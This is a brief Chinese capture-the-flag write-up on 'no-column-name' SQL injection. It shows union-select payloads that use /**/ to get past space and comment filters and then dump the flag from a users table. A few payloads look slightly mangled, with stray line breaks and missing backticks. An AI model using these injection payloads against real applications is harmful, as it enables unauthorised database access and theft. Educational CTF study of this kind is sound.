前言大佬wp:无列名注入
解题:
前面正常注册然后有个提交广告的。
一开始还被这个id迷惑了,以为这里有注入口,后面反应过来这只是个创建页面的编码。
进入正题:
这里发现他过滤了许多函数。和–,#;空格也被过滤了,我这里用的/**/来绕过,除了这个(),/!* */也可以
一时间不知道怎么爆出来表名。后面发现mysql会有默认的users表。
所以这里主要用到了无列名注入。
那么首先就是猜user库里面有几列了。
命令:
-1'/**/union/**/select/**/1,2,(select/**/1/**/from/**/(select/**/1,2,3,4/**/union/**/select*from/**/users)p),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
发现4列报错了,那就挨个减。直到成功。
-1'/**/union/**/select/**/1,2,(select/**/1/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)p),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
又说字太多了不能用一列表示,那就用group_conat()。
-1'/**/union/**/select/**/1,2,(select/**/group_concat(
1)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)p),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
好的把前面的序号爆出来了。
注意3两边的是``这个符号不是’’。就爆出来flag了。
-1'/**/union/**/select/**/1,2,(select/**/group_concat(
3)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)p),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
写法2:
这里又想到之写的一题,它把上面那个符号过滤了,那么要怎么绕过呢?
把序列号换一下名字就好了用as。一样能爆出flag。
-1'/**/union/**/select/**/1,2,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)p),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
总结:无列名注入还是太不熟了。